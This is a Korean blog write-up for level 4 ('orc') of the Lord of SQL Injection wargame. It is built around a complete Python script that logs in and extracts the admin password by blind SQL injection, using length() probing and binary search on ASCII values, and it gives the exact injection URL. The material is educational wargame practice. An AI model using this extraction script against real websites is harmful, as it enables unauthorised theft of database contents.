일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 임영규
- 리리남매
- 이지혜
- 픽크루
- 학교 개학 연기 4월
- 홍혜걸
- 성남 코로나 확진자
- 뭉쳐야 찬다
- 성남은혜의강교회
- 조희연
- 스콜피온킹
- 김영권 아내
- 김재석
- 양적완화
- 폰폰테스트
- 제넥신
- libtins
- 김영권
- 최강욱
- 킹덤 고근희
- 이태원 클라쓰 15회 예고
- 은혜의 강 교회
- 불가피
- 해킹
- 유튜버 김재석
- 고민정
- 금리인하
- 스페인 코로나
- 미국 금리인하
- 이상형 만들기
- Today
- Total
Dork's port
LOS 4번 ORC 본문
예전에 한번 풀었던 문제를 파이썬 코드를 이용해 조금더 쉽게 풀어보려고 하였는데, 그때 삽질한것과 비슷하게 삽질을 많이 했다.
파이썬 코드는 아래와 같다.
import requests from bs4 import BeautifulSoup from urllib.parse import urlparse from getpass import getpass def login(id, pw): url = 'https://los.rubiya.kr/?login' data = {'id': id, 'pw': pw} res = requests.post(url, data=data) if res.status_code != 200: print('Please check server status.') exit(1) if res.text.find('fail') != -1: print('Please check your id or pw') exit(1) print('Login Success!') return res.cookies.get_dict() def get_length(pwning_url, field, add_comment, login_cookies): length = 1 while True: print('Trying to get length of {0} by length {1}'.format(field, length)) url = pwning_url + ' length({0})={1} {2} '.format(field, length, '%23' if add_comment else '') res = requests.get(url, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') for h2 in h2s: if h2.find('Hello') !=-1: return length length += 1 def do_blind_inject(pwning_url, field, add_comment, login_cookies): pw = str() length = get_length(pwning_url, field, add_comment,login_cookies) idx = 1 print('Success to get length {0} is {1} '.format(field, length)) while idx <= length: print('Trying to get value index[{0}]'.format(idx)) min_ascii = 32 max_ascii = 127 while True: # password must compare with int in mysql 'a' = 'A' is true url = pwning_url + ' {2} < ASCII(RIGHT(LEFT({0},{1}),1)) {3} '.format(field, idx, int((min_ascii + max_ascii) / 2), '%23' if add_comment else '') res = requests.get(url, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if max_ascii == int((min_ascii + max_ascii) / 2) or min_ascii == int((min_ascii + max_ascii) / 2) : if not h2s: pw += chr(int((min_ascii + max_ascii) / 2)) if h2s: pw += chr(int((min_ascii + max_ascii) / 2 + 1)) break # if false if not h2s: max_ascii = int((min_ascii + max_ascii) / 2) else: min_ascii = int((min_ascii + max_ascii) / 2) idx += 1 parsed_url = urlparse(pwning_url) origin_url = '{url.scheme}://{url.netloc}/{url.path}'.format(url=parsed_url) print('password is {0}'.format(pw)) res = requests.get(origin_url, params={field: pw}, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if not h2s: print('Failed to clear! Plz check logic') else: for h2 in h2s: if h2.find('Clear') != -1: print('Success to clear this stage!') break if __name__ == '__main__': user_id = input('Enter your los id : ') # user_pw = getpass('Enter your los pw : ') user_pw = input('Enter your los pw : ') login_cookies = login(user_id, user_pw) pwning_url = input('Enter your pwning_url : ') # delete comment for query if pwning_url.find('%23') != -1: pwning_url = pwning_url[:pwning_url.find('%23')] field = input('Enter query name : ') while True: add_comment = input('Do you want to add comment end of the url[Y/N] ? ') if add_comment.lower() == 'y' or add_comment.lower() == 'n': break do_blind_inject(pwning_url, field, True if add_comment.lower() == 'y' else False, login_cookies)
나는 쿠키를 매번 갖다 붙여넣거나 하드코딩하는게 싫어서 로그인을 이용했으며, 처음에 아이디와 패스워드. 그리고 query 이름과 escape 된 url을 입력받는다.
아래는 실행결과다.
위처럼 자동적으로 clear할 수 있도록 해놨으며, 코드에는 divide and conquer를 이용해서 비교했다. 효율적인 방법을 생각해서 코드를 짜다보니 저 알고리즘이더라..
물론 최적화 하지 않아서 오류도 있고 이상하지만 앞으로 문제 해결할때 동일 코드를 좀더 general 하게 수정해서 사용할 예정이므로 좀더 개선되지 않을까 싶다.
pwning_url에는 escape된 url를 인자로 받는데 아래 스크린샷을 보도록 하자
4번의 경우 id가 admin이어야 할때 pw의 값을 알아와야한다.
pw의 값을 알아오는걸 코드가 해주므로 and 이하의 url을 넣어주면 된다.
4번의 경우 " https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27or%20%20id=%27admin%27%20and "이 pwning_url에 해당하는 부분이며, 뒤에 주석이 필요한경우 다음 물음에서 Y를 입력한다.
id가 admin이어야 한다는 사실을 간과하고 or id='admin'을 빼먹어서 예전에 풀때 삽질했는데 이번에도 삽질했다. 잊지말자.
또한, 처음에 pw값의 비교를 integer 형이 아닌 char 형으로 비교했는데 mysql에서는 'a'='A'가 True이더라.
그래서 password가 모두 탐색되었을때 대소문자에 대한부분이 모호하여 ASCII함수를 사용해서 비교를 하였다.
그리고 아래는 los-eagle에서 찾아낸 이상한 버그(rubiya에게 제보하니 los-eagle말고 los.rubiya.kr을 이용하라고 하여 그렇게 했다)
CHAR(99)보단 크지만 CHAR(79)보단 크지 않단다.. 헛헛!
이에 대해 명확하게 아시는분은 댓글로 가르침좀 부탁합니다 :(
https://github.com/janghanbin/los_blind_injection
'Lord Of Sql injection' 카테고리의 다른 글
LOS 6번 DARKELF (0) | 2019.01.12 |
---|---|
LOS 5번 WOLFMAN (0) | 2019.01.12 |
LOS 3번 goblin (0) | 2019.01.01 |
LOS 2번 COBOLT (0) | 2019.01.01 |
LOS 1번 GREMLIN (0) | 2019.01.01 |